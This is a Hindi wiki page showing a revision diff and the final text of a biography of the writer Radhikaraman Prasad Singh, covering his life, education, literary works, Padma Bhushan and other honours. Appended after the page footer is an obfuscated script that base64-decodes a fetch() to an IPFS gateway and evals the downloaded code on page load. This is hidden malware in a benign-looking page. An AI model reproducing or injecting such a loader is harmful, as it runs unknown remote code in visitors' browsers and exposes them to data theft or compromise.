राधिकारमण प्रसाद सिंह: Difference between revisions
[unchecked revision] | [unchecked revision] |
No edit summary |
No edit summary |
||
(One intermediate revision by the same user not shown) | |||
Line 19: | Line 19: | ||
|विद्यालय= | |विद्यालय= | ||
|शिक्षा= | |शिक्षा= | ||
|पुरस्कार-उपाधि= | |पुरस्कार-उपाधि=[[पद्मभूषण]] ([[1962]]), डॉक्टरेट की उपाधि ([[1969]]), साहित्यवाचस्पति ([[1970]]) | ||
|प्रसिद्धि=आधुनिक गद्यकार | |प्रसिद्धि=आधुनिक गद्यकार | ||
|विशेष योगदान= | |विशेष योगदान= | ||
Line 44: | Line 44: | ||
सन् [[1935]] में अपनी रियासत का सारा भार अपने अनुज राजीव रंजन प्रसाद सिंह को सौंपकर सरस्वती की आराधना में तल्लीन हो गए। इसके पूर्व ही सन् 1920 में बेतिया में बिहार हिंदी साहित्य सम्मेलन के द्वितीय वार्षिक अधिवेशन के वे अध्यक्ष मनोनीत हुए थे। उक्त सम्मेलन के पंद्रहवें अधिवेशन (आरा, सन् [[1936]]) के वे स्वगताध्यक्ष थे। आरा नगरी प्रचारिणी सभा के सभापति भी हुए थे। | सन् [[1935]] में अपनी रियासत का सारा भार अपने अनुज राजीव रंजन प्रसाद सिंह को सौंपकर सरस्वती की आराधना में तल्लीन हो गए। इसके पूर्व ही सन् 1920 में बेतिया में बिहार हिंदी साहित्य सम्मेलन के द्वितीय वार्षिक अधिवेशन के वे अध्यक्ष मनोनीत हुए थे। उक्त सम्मेलन के पंद्रहवें अधिवेशन (आरा, सन् [[1936]]) के वे स्वगताध्यक्ष थे। आरा नगरी प्रचारिणी सभा के सभापति भी हुए थे। | ||
==रचनाएं== | ==रचनाएं== | ||
राधिकारमण प्रसाद सिंह ने सभी विद्याओं में जो साहित्य की रचना की है, उसके प्रमुख ग्रंथ इस प्रकार हैं- | राधिकारमण प्रसाद सिंह ने सभी विद्याओं में जो साहित्य की रचना की है, उसके प्रमुख ग्रंथ इस प्रकार हैं<ref>{{cite web |url=http://www.rohtasdistrict.com/know-about-raja-radhikaraman-prasad-singh/ |title=आईए जानते है पद्मभूषण से सम्मानित सूर्यपुरा के राजा राधिकारमण के बारे में |accessmonthday= 04 सितम्बर|accessyear=2018 |last= |first= |authorlink= |format= |publisher=rohtasdistrict.com |language= हिन्दी}}</ref>- | ||
#'''कहानी संग्रह''' - 'कुसुमांजलि', 'अपना पराया', 'गांधी टोपी', 'धर्मधुरी' | #'''कहानी संग्रह''' - 'कुसुमांजलि', 'अपना पराया', 'गांधी टोपी', 'धर्मधुरी' | ||
#'''गद्यकाव्य''' - 'नवजीवन', 'प्रेम लहरी' | #'''गद्यकाव्य''' - 'नवजीवन', 'प्रेम लहरी' | ||
Line 61: | Line 61: | ||
#'धर्म और मर्म' | #'धर्म और मर्म' | ||
#'तब और अब' | #'तब और अब' | ||
==सम्मान व पुरुस्कार== | |||
[[बिहार]] की प्रसिद्ध मासिक [[हिंदी]] [[पत्रिका]] ‘नई-धारा’ राधिकारमण प्रसाद सिंह जी के ही संरक्षण में प्रकाशित होती रही। [[23 जनवरी]], [[1969]] को मगध विश्वविद्यालय ने उनको सम्माजनक डॉक्टरेट की उपाधि दी थी। सन् [[1962]] में [[भारत सरकार]] ने '[[पद्मभूषण]]' की उपाधि से तथा प्रयाग हिंदी साहित्य सम्मेलन ने सन् [[1970]] में ‘साहित्यवाचस्पति की उपाधि से अलंकृत किया। | |||
==मृत्यु== | ==मृत्यु== | ||
[[24 मार्च]], [[1971]] को राधिकारमण प्रसाद सिंह का देहान्त हो गया। | [[24 मार्च]], [[1971]] को राधिकारमण प्रसाद सिंह का देहान्त हो गया। |
Latest revision as of 12:18, 4 September 2018
राधिकारमण प्रसाद सिंह
| |
पूरा नाम | राधिकारमण प्रसाद सिंह |
जन्म | 10 सितम्बर, 1890 |
जन्म भूमि | शाहाबाद, बिहार |
मृत्यु | 24 मार्च, 1971 |
अभिभावक | पिता- राजा राजराजेश्वरी सिंह 'प्यारे' |
कर्म भूमि | भारत |
मुख्य रचनाएँ | राम-रहीम, पूरब और पश्चिम (उपन्यास); गाँधी टोपी, बिखरे मोती (कहानी), धर्म की धुरी, अपना पराया (नाटक) आदि। |
पुरस्कार-उपाधि | पद्मभूषण (1962), डॉक्टरेट की उपाधि (1969), साहित्यवाचस्पति (1970) |
प्रसिद्धि | आधुनिक गद्यकार |
नागरिकता | भारतीय |
अन्य जानकारी | राधिकारमण प्रसाद सिंह आरा डिस्ट्रिक्ट बोर्ड के प्रथम भारतीय अध्यक्ष मनोनीत हुए थे। सन् 1927 से 1935 तक मुस्तैदी और कार्य कुशलता से अनेक सामाजिक एवं प्रशासनिक सुधार किए। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
राधिकारमण प्रसाद सिंह (अंग्रेज़ी: Radhikaraman Prasad Singh, जन्म- 10 सितम्बर, 1890, शाहाबाद, बिहार; मृत्यु- 24 मार्च, 1971) का हिंदी के आधुनिक गद्यकारों में प्रमुख स्थान है। उन्होंने कहानी, गद्य, काव्य, उपन्यास, संस्मरण, नाटक सभी विद्याओं में साहित्य की रचना की। उनका संबंध देश के अनेक साहित्यिक, सांस्कृतिक और शैक्षणिक संस्थाओं से रहा। राधिकारमण प्रसाद सिंह की गणना हिंदी के यशस्वी-कथाकारों एवं विशिष्ट शैलीकारों में होती है। उन्होंनेलगभग 50 वर्षों तक हिंदी की सेवा की। आधुनिक हिंदी कथा साहित्य में आपका स्थान 'कानों में कंगना' के लिए स्मरणीय है।[1]
परिचय
राधिकारमण प्रसाद सिंह का जन्म 10 सितम्बर, 1890 में शाहाबाद (बिहार) के सूर्यपुरा नामक स्थान पर प्रसिद्ध ज़मींदार राजा राजराजेश्वरी सिंह 'प्यारे' के यहाँ हुआ था। आरंभिक शिक्षा घर पर ही हुई। जब वे 12 वर्षों के थे, तभी 1903 में उनके पूज्य पिताजी की मृत्यु हो गयी और उनका सारा स्टेट ‘कोर्ट आँव वार्ड्स’ के अधीन हो गया।
शिक्षा
राधिकारमण प्रसाद सिंह ने क्रमशः 1907 में आरा ज़िला स्कूल से इन्ट्रेन्स, 1909-1910 में सेट जेवियर्स कॉलेज, कलकत्ता से एफ.ए, 1912 में प्रयाग विश्वविद्यालय से बीए और 1914 में कलकत्ता विश्वविद्यालय से एम.ए. (इतिहास) की परीक्षाएं पास कीं।
उपाधि
सन 1917 में जब राधिकारमण प्रसाद सिंह बालिग हुए, तब रियासत ‘कोर्ट ऑव वार्ड्स’ के बंधन से मुक्त हुए और वे उसके स्वामी हो गए। सन् 1920 के आसपास अंग्रेज़ सरकार ने राधिकारमण प्रसाद सिंह को ‘राजा’ की उपाधि से विभूषित किया। आगे चलकर उनको सी.आई.ई. की उपाधि भी मिली।
गाँधीजी का प्रभाव
जब स्वतंत्रता संग्राम छिड़ा, तब राजा राधिकारमण प्रसाद सिंह उसमें भी पीछे न रहे। गाँधीवाद में उनकी गहरी आस्था थी। उसी समय वे आरा डिस्ट्रिक्ट बोर्ड के प्रथम भारतीय अध्यक्ष मनोनीत हुए। सन् 1927 से 1935 तक मुस्तैदी और कार्य कुशलता से अनेक सामाजिक एवं प्रशासनिक सुधार किए। गांधीजी के प्रभाव में आकर उन्होंने बोर्ड की चेयरमैनी छोड़ दी और देशरत्न डॉ. राजेन्द्र प्रसाद के आग्रह पर बिहार हरिजन सेवक संघ की अध्यक्षता स्वीकार कर ली।
सन् 1935 में अपनी रियासत का सारा भार अपने अनुज राजीव रंजन प्रसाद सिंह को सौंपकर सरस्वती की आराधना में तल्लीन हो गए। इसके पूर्व ही सन् 1920 में बेतिया में बिहार हिंदी साहित्य सम्मेलन के द्वितीय वार्षिक अधिवेशन के वे अध्यक्ष मनोनीत हुए थे। उक्त सम्मेलन के पंद्रहवें अधिवेशन (आरा, सन् 1936) के वे स्वगताध्यक्ष थे। आरा नगरी प्रचारिणी सभा के सभापति भी हुए थे।
रचनाएं
राधिकारमण प्रसाद सिंह ने सभी विद्याओं में जो साहित्य की रचना की है, उसके प्रमुख ग्रंथ इस प्रकार हैं[2]-
- कहानी संग्रह - 'कुसुमांजलि', 'अपना पराया', 'गांधी टोपी', 'धर्मधुरी'
- गद्यकाव्य - 'नवजीवन', 'प्रेम लहरी'
- उपन्यास - ‘राम-रहीम’ (सन् 1936 ई.), ‘पुरुष और नारी’ (सन् 1939 ई.), ‘सूरदास’ (सन् 1942 ई.), ‘संस्कार’ (सन् 1944 ई.), ‘पूरब और पश्चिम’ (सन् 1951 ई.), ‘चुंबन और चाँटा’ (सन् 1957 ई.)
- लघु उपन्यास - ‘नवजीवन’ (सन् 1912 ई), ‘तरंग’ (सन् 1920 ई.), ‘माया मिली न राम’ (सन् 1936 ई.), ‘मॉडर्न कौन, सुंदर कौन’ (सन् 1964 ई.) और ‘अपनी-अपनी नजर’, ‘अपनी-अपनी डगर’ (सन् 1966 ई.)।
- कहानियाँ - ‘गाँधी टोपी’ (सन् 1938 ई.), ‘सावनी समाँ’ (सन् 1938 ई.), ‘नारी क्या एक पहेली? (सन् 1951 ई.), ‘हवेली और झोपड़ी’ (सन् 1951 ई.), ‘देव और दानव’ (सन् 1951 ई.), ‘वे और हम’ (सन् 1956 ई.), ‘धर्म और मर्म’ (सन् 1959 ई.), ‘तब और अब’ (सन् 1958 ई.), ‘अबला क्या ऐसी सबला?’ (सन् 1962 ई.), ‘बिखरे मोती’ (भाग-1) (सन् 1965 ई.)।
- संस्मरण - 'सावनी सभा', टूटातारा,' 'सूरदास'
- नाटक - ‘नये रिफारमर’ या ‘नवीन सुधारक’ (सन् 1911 ई.), ‘धर्म की धुरी’ (सन् 1952 ई.), ‘अपना पराया’ (सन् 1953 ई.) और ‘नजर बदली बदल गये नजारे’ (सन् 1961 ई.)।
गद्य कृतियां
कुछ गद्य कृतियां भी हैं, जैसे-
- 'नारी एक पहेली'
- 'पूरब और पश्चिम'
- 'हवेली और झोपड़ी'
- 'देव और दानव'
- 'वे और हम'
- 'धर्म और मर्म'
- 'तब और अब'
सम्मान व पुरुस्कार
बिहार की प्रसिद्ध मासिक हिंदी पत्रिका ‘नई-धारा’ राधिकारमण प्रसाद सिंह जी के ही संरक्षण में प्रकाशित होती रही। 23 जनवरी, 1969 को मगध विश्वविद्यालय ने उनको सम्माजनक डॉक्टरेट की उपाधि दी थी। सन् 1962 में भारत सरकार ने 'पद्मभूषण' की उपाधि से तथा प्रयाग हिंदी साहित्य सम्मेलन ने सन् 1970 में ‘साहित्यवाचस्पति की उपाधि से अलंकृत किया।
मृत्यु
24 मार्च, 1971 को राधिकारमण प्रसाद सिंह का देहान्त हो गया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 720 |
- ↑ आईए जानते है पद्मभूषण से सम्मानित सूर्यपुरा के राजा राधिकारमण के बारे में (हिन्दी) rohtasdistrict.com। अभिगमन तिथि: 04 सितम्बर, 2018।
बाहरी कड़ियाँ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>